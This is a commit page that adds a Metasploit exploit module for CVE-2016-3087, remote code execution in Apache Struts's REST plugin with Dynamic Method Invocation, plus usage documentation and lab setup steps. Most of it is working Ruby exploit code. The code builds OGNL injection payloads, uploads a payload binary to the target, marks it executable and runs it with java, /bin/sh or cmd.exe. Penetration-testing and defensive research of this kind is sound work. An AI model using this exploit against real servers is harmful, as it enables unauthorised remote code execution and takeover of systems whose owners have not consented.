Browse Source

Land #6945, Add struts_dmi_rest_exec exploit

wchen-r7 3 years ago
parent
commit
7cdadca79b
No account linked to committer's email address

+ 2
- 2
documentation/modules/exploit/multi/http/struts_dmi_exec.md View File

@@ -15,8 +15,8 @@ For testing purposes, here is how you would set up the vulnerable machine:
15 15
 4. Install Java first. Make sure you have the JAVA_HOME environment variable.
16 16
 5. Extract Apache Tomcat.
17 17
 6. In conf directory of Apache Tomcat, open the tomcat-users.xml file with a text editor.
18
-7. In tomcat-users.xml, add this role: ```<role rolename="manager-gui"/>```
19
-8. In tomcat-users.xml, add this role to user tomcat: ```<user username="tomcat" password="tomcat" roles="tomcat,manager-gui"/>```
18
+7. In tomcat-users.xml, add the ```manager-gui``` role
19
+8. In tomcat-users.xml, add the ```manager-gui``` role to a user.
20 20
 9. Remove other users.
21 21
 10. In a terminal or command prompt, ```cd``` to the bin directory, and run: ```catalina.bat run``` (or catalina.sh). You should have Apache Tomcat running on port 8080.
22 22
 11. Extract the vulnerable struts app: ```tar -xf struts2-blank.tar.gz```

+ 56
- 0
documentation/modules/exploit/multi/http/struts_dmi_rest_exec.md View File

@@ -0,0 +1,56 @@
1
+struts_dmi_rest_exec is a module that exploits Apache Struts's REST plugin with Dynamic Method
2
+Invocation, and it supports Windows and Linux platforms.
3
+
4
+## Vulnerable Application
5
+
6
+Apache Struts versions between 2.3.20 and 2.3.28 are vulnerable, except 2.3.20.2 and 2.3.24.2.
7
+The application's struts.xml also needs set ```struts.enable.DynamicMethodInvocation``` to true,
8
+and ```struts.devMode``` to false.
9
+
10
+For testing purposes, here is how you would set up the vulnerable machine:
11
+
12
+1. Download Apache Tomcat
13
+2. Download Java. [Choose an appropriate version](http://tomcat.apache.org/whichversion.html) based on the Apache Tomcat version you downloaded.
14
+3. Download the vulnerable [Apache Struts application](https://github.com/rapid7/metasploit-framework/files/300762/struts2-rest-showcase.tar.gz).
15
+4. Install Java first. Make sure you have the JAVA_HOME environment variable.
16
+5. Extract Apache Tomcat.
17
+6. In conf directory of Apache Tomcat, open the tomcat-users.xml file with a text editor.
18
+7. In tomcat-users.xml, add the ```manager-gui``` role.
19
+8. In tomcat-users.xml, add the ```manager-gui``` role to a user.
20
+9. Remove other users.
21
+10. In a terminal or command prompt, ```cd``` to the bin directory, and run: ```catalina.bat run``` (or catalina.sh). You should have Apache Tomcat running on port 8080.
22
+11. Extract the vulnerable struts app: ```tar -xf struts2-rest-showcase.tar.gz```
23
+12. Navigate to the Apache Tomcat server with a browser on port 8080.
24
+13. Click on Manager App
25
+14. In the WAR file to deploy section, deploy struts2-rest-showcase.war
26
+15. Stop struts2-blank in the manager app.
27
+16. On the server, ```cd``` to ```apache-tomcat-[version]/webapps/struts2-rest-showcase/WEB-INF/classes```, open struts.xml with a text editor.
28
+17. In the XML file, make sure ```struts.enable.DynamicMethodInvocation``` is true
29
+18. In the XML file, make sure ```struts.devMode``` is false.
30
+19. Back to Apache Tomcat's manager app. Start the struts2-rest-showcase again.
31
+
32
+And now you have a vulnerable server.
33
+
34
+
35
+## Options
36
+
37
+**TMPPATH**
38
+
39
+By default, the struts_dmi_rest_exec exploit should be ready to go without much configuration. However,
40
+in case you need to change where the payload should be uploaded to, make sure to set the correct
41
+target, and then change the TMPPATH datastore option.
42
+
43
+## Scenarios
44
+
45
+struts_dmi_rest_exec supports three platforms: Windows, Linux, and Java. By default, it uses Java,
46
+so you don't need to worry about configuring this. Running the module can be as simple as the usage
47
+explained in the Overview section.
48
+
49
+However, native payload do have their benefits (for example: Windows Meterpreter has better
50
+support than Java), so if you decide to switch to a different platform, here is what you do:
51
+
52
+1. Do ```show targets```, and see which one you should be using
53
+2. Do ```set target [id]```
54
+3. Do ```show payloads```, which shows you a list of compatible payloads for that target.
55
+4. Do: ```set payload [payload name]```
56
+5. Do: ```exploit```

+ 204
- 0
modules/exploits/multi/http/struts_dmi_rest_exec.rb View File

@@ -0,0 +1,204 @@
1
+##
2
+# This module requires Metasploit: http://metasploit.com/download
3
+# Current source: https://github.com/rapid7/metasploit-framework
4
+##
5
+
6
+require 'msf/core'
7
+
8
+class MetasploitModule < Msf::Exploit::Remote
9
+  Rank = ExcellentRanking
10
+
11
+  include Msf::Exploit::Remote::HttpClient
12
+  include Msf::Exploit::EXE
13
+
14
+  def initialize(info = {})
15
+    super(update_info(info,
16
+      'Name'           => 'Apache Struts REST Plugin With Dynamic Method Invocation Remote Code Execution',
17
+      'Description'    => %q{
18
+        This module exploits a remote command execution vulnerability in Apache Struts
19
+        version between 2.3.20 and 2.3.28 (except 2.3.20.2 and 2.3.24.2). Remote Code
20
+        Execution can be performed when using REST Plugin with ! operator when
21
+        Dynamic Method Invocation is enabled.
22
+      },
23
+      'Author'         => [
24
+        'Nixawk' # original metasploit module
25
+       ],
26
+      'License'        => MSF_LICENSE,
27
+      'References'     =>
28
+        [
29
+          [ 'CVE', '2016-3087' ],
30
+          [ 'URL', 'https://www.seebug.org/vuldb/ssvid-91741' ]
31
+        ],
32
+      'Platform'      => %w{ java linux win },
33
+      'Privileged'     => true,
34
+      'Targets'        =>
35
+        [
36
+          ['Windows Universal',
37
+            {
38
+              'Arch' => ARCH_X86,
39
+              'Platform' => 'win'
40
+            }
41
+          ],
42
+          ['Linux Universal',
43
+            {
44
+              'Arch' => ARCH_X86,
45
+              'Platform' => 'linux'
46
+            }
47
+          ],
48
+          [ 'Java Universal',
49
+            {
50
+              'Arch' => ARCH_JAVA,
51
+              'Platform' => 'java'
52
+            },
53
+          ]
54
+        ],
55
+      'DisclosureDate' => 'Jun 01 2016',
56
+      'DefaultTarget' => 2))
57
+
58
+    register_options(
59
+      [
60
+        Opt::RPORT(8080),
61
+        OptString.new('TARGETURI', [ true, 'The path to a struts application action', '/struts2-rest-showcase/orders/3/']),
62
+        OptString.new('TMPPATH', [ false, 'Overwrite the temp path for the file upload. Needed if the home directory is not writable.', nil])
63
+      ], self.class)
64
+  end
65
+
66
+  def print_status(msg='')
67
+    super("#{peer} - #{msg}")
68
+  end
69
+
70
+  def get_target_platform
71
+    target.platform.platforms.first
72
+  end
73
+
74
+  def temp_path
75
+    @TMPPATH ||= lambda {
76
+      path = datastore['TMPPATH']
77
+      return nil unless path
78
+
79
+      case get_target_platform
80
+      when Msf::Module::Platform::Windows
81
+        slash = '\\'
82
+      when
83
+        slash = '/'
84
+      else
85
+      end
86
+
87
+      unless path.end_with?('/')
88
+        path << '/'
89
+      end
90
+      return path
91
+    }.call
92
+  end
93
+
94
+  def send_http_request(payload, params_hash)
95
+    uri = normalize_uri(datastore['TARGETURI'])
96
+    uri = "#{uri}/#{payload}"
97
+    resp = send_request_cgi(
98
+      'uri'     => uri,
99
+      'version' => '1.1',
100
+      'method'  => 'POST',
101
+      'vars_post' => params_hash
102
+    )
103
+    if resp && resp.code == 404
104
+      fail_with(Failure::BadConfig, 'Server returned HTTP 404, please double check TARGETURI')
105
+    end
106
+    resp
107
+  end
108
+
109
+  def generate_rce_payload(code)
110
+    payload = ""
111
+    payload << Rex::Text.uri_encode("#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS")
112
+    payload << ","
113
+    payload << Rex::Text.uri_encode(code)
114
+    payload << ","
115
+    payload << Rex::Text.uri_encode("#xx.toString.json")
116
+    payload << "?"
117
+    payload << Rex::Text.uri_encode("#xx:#request.toString")
118
+    payload
119
+  end
120
+
121
+  def upload_exec(cmd, filename, content)
122
+    var_a = rand_text_alpha_lower(4)
123
+    var_b = rand_text_alpha_lower(4)
124
+    var_c = rand_text_alpha_lower(4)
125
+    var_d = rand_text_alpha_lower(4)
126
+    var_e = rand_text_alpha_lower(4)
127
+    var_f = rand_text_alpha_lower(4)
128
+
129
+    code =  "##{var_a}=new sun.misc.BASE64Decoder(),"
130
+    code << "##{var_b}=new java.io.FileOutputStream(new java.lang.String(##{var_a}.decodeBuffer(#parameters.#{var_e}[0]))),"
131
+    code << "##{var_b}.write(new java.math.BigInteger(#parameters.#{var_f}[0], 16).toByteArray()),##{var_b}.close(),"
132
+    code << "##{var_c}=new java.io.File(new java.lang.String(##{var_a}.decodeBuffer(#parameters.#{var_e}[0]))),##{var_c}.setExecutable(true),"
133
+    code << "@java.lang.Runtime@getRuntime().exec(new java.lang.String(##{var_a}.decodeBuffer(#parameters.#{var_d}[0])))"
134
+    payload = generate_rce_payload(code)
135
+
136
+    params_hash = {
137
+      var_d => Rex::Text.encode_base64(cmd),
138
+      var_e => Rex::Text.encode_base64(filename),
139
+      var_f => content
140
+    }
141
+    send_http_request(payload, params_hash)
142
+  end
143
+
144
+  def check
145
+    var_a = rand_text_alpha_lower(4)
146
+    var_b = rand_text_alpha_lower(4)
147
+
148
+    addend_one = rand_text_numeric(rand(3) + 1).to_i
149
+    addend_two = rand_text_numeric(rand(3) + 1).to_i
150
+    sum = addend_one + addend_two
151
+    flag = Rex::Text.rand_text_alpha(5)
152
+
153
+    code = "##{var_a}=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),"
154
+    code << "##{var_a}.print(#parameters.#{var_b}[0]),"
155
+    code << "##{var_a}.print(new java.lang.Integer(#{addend_one}+#{addend_two})),"
156
+    code << "##{var_a}.print(#parameters.#{var_b}[0]),"
157
+    code << "##{var_a}.close()"
158
+
159
+    payload = generate_rce_payload(code)
160
+    params_hash = { var_b => flag }
161
+
162
+    begin
163
+      resp = send_http_request(payload, params_hash)
164
+    rescue Msf::Exploit::Failed
165
+      return Exploit::CheckCode::Unknown
166
+    end
167
+
168
+    if resp && resp.code == 200 && resp.body.include?("#{flag}#{sum}#{flag}")
169
+      Exploit::CheckCode::Vulnerable
170
+    else
171
+      Exploit::CheckCode::Safe
172
+    end
173
+  end
174
+
175
+  def exploit
176
+    payload_exe = rand_text_alphanumeric(4 + rand(4))
177
+    case target['Platform']
178
+      when 'java'
179
+        payload_exe = "#{temp_path}#{payload_exe}.jar"
180
+        pl_exe = payload.encoded_jar.pack
181
+        command = "java -jar #{payload_exe}"
182
+      when 'linux'
183
+        path = datastore['TMPPATH'] || '/tmp/'
184
+        pl_exe = generate_payload_exe
185
+        payload_exe = "#{path}#{payload_exe}"
186
+        command = "/bin/sh -c #{payload_exe}"
187
+      when 'win'
188
+        path = temp_path || '.\\'
189
+        pl_exe = generate_payload_exe
190
+        payload_exe = "#{path}#{payload_exe}.exe"
191
+        command = "cmd.exe /c #{payload_exe}"
192
+      else
193
+        fail_with(Failure::NoTarget, 'Unsupported target platform!')
194
+    end
195
+
196
+    pl_content = pl_exe.unpack('H*').join()
197
+
198
+    print_status("Uploading exploit to #{payload_exe}, and executing it.")
199
+    upload_exec(command, payload_exe, pl_content)
200
+
201
+    handler
202
+  end
203
+
204
+end

Loading…
Cancel
Save